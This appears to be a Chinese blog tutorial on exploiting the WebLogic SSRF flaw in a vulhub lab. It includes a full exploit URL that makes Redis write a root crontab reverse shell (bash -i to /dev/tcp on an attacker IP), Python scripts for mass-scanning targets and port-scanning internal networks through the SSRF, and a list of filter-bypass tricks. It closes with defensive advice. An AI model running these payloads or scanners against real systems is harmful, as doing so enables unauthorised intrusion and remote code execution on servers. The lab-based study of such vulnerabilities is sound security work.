Weblogic SSRF漏洞

前言

SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。

SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)

漏洞环境搭建

这里我们选择使用vulhub搭建docker进行漏洞复现。

首先安装curl和docker

sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功

然后安装python和pip环境(如果没有),命令如下

sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功

然后再安装docker-compose

pip install docker-compose
docker-compose -v

在这里插入图片描述

到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上

git clone https://github.com/vulhub/vulhub.git

之后进入SSRF的漏洞环境

在这里插入图片描述

在这里插入图片描述

漏洞复现

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

在这里插入图片描述

访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出现以下页面,说明测试环境ok。

在这里插入图片描述
访问以下页面,确认是否存在SSRF漏洞。

http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.43.46

在这里插入图片描述
其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。

漏洞利用

探测内网存活IP

在这里插入图片描述
说明这个内网IP存在。

在这里插入图片描述

这样说明IP不存在。

探测端口

在这里插入图片描述此报错说明该端口存在。

同理反之则证明该端口不存在。

攻击Redis

在这里插入图片描述
172.18.0.2是Redis的内网IP地址。

在这里插入图片描述

探测到内网redis服务开放。

准备攻击代码

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.46/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上述攻击代码转换成URL编码:

test0D%0A%0D%0A
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%220D%0Aconfig%20set%20dir%20%2Fetc%2F0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

开启监听端口:

在这里插入图片描述

访问:

http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在这里插入图片描述
具体流程是

在这里插入图片描述

批量检测脚本

批量检测weblogic_SSRF漏洞

#!/usr/bin/env python  
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞


import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()

class Weblogic_SSRF_Check(threading.Thread):
    """docstring for Weblogic_SSRF_Check"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def check(self,domain,ip):
        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
            if m:
                mutex.acquire()
                with open('ssrf.txt','a+') as f:
                    print "%s has weblogic ssrf." % domain
                    f.write("%s has weblogic ssrf.\n" % domain)
                mutex.release()
        except Exception,e:
            pass

    def get_registry(self,domain):
        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
            if m:
                return m.group(1)
        except Exception,e:
            pass

    def run(self):
        while not self.queue.empty():
            domain = self.queue.get()
            mutex.acquire()
            print domain
            mutex.release()
            ip = self.get_registry(domain)
            self.check(domain,ip)

            self.queue.task_done()


if __name__ == '__main__':
    with open('C:\\Users\\m\\domain.txt','r') as f:
        lines = f.readlines()
    for line in lines:
        queue.put(line.strip())

    for x in xrange(1,50):
        t = Weblogic_SSRF_Check(queue)
        t.setDaemon(True)
        t.start()
    queue.join()

利用weblogic_SSRF探测IP及端口

–url参数:存在weblogic SSRF漏洞的url
–ip参数:想扫描的内网网段

#!/usr/bin/env python
# coding: utf-8
# 功能:扫描内网开放ip及端口

import argparse
import thread
import time
import re
import requests



def ite_ip(ip):
    #for i in range(1, 256):
    for i in range(139, 146):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    #ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000')
    ports = ( '80', '445','22','6379')
    for port in ports:
        vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
        try:
            r = requests.get(vul_url, timeout=15, verify=False) 
            result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
            result1 = re.findall('route to host', r.content)
            result2 = re.findall('but could not connect', r.content)
            if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
                out = "port exist: " + final_ip + ':' + port
                print out        
        except Exception, e:
            pass

def get_ip():
    vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
    r = requests.get(vul_url, timeout=15, verify=False)
    reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
    result1 = reg.findall(r.content)
    result = ""
    if result1:
        result = result1[0].replace("For example: http://","")
    return result

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit') 
    parser.add_argument('--url', dest='url', required=True, help='Target url')
    parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
    args = parser.parse_args()
    ip = '.'.join(args.scan_ip.split('.')[:-1])
    #print ip
    #ip = get_ip()
    if ip:
        ite_ip(ip)
    else:
        print "no ip"

SSRF漏洞绕过

更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172.([1][6-9]|[2]\d|3[01])(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192.168(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
合并后两位:1.1.278 / 1.1.755
合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,

例如192.168.0.1.xip.io,解析到192.168.0.1。

如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1,那么可以用以下特殊网址绕过:xip.io,nip.io,sslip.io。

比如:`http://127.0.0.1.xip.io/1.php ,实际上访问的是http://127.0.0.1/1.php

可以使用xip.io或者是xip.name 进行302跳转

利用DNS解析

如果目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

添加端口号

有些网站限制了子网段,可以加 :80 端口绕过。

http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80

伪协议

php ssrf中的伪协议:

file;dict;sftp;ldap;tftp;gopher;http

Java ssrf 中的伪协议:

file;ftp;mailto;http;https;jar;netdoc;gopher

SSRF漏洞防御

1.禁止跳转。

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.限制请求的端口只能为Web端口,不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题。

4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。

5.限制请求的端口为http常用的端口,比如 80、443、8080、8090。

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

7.对DNS Rebinding,考虑使用DNS缓存或者Host白名单。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值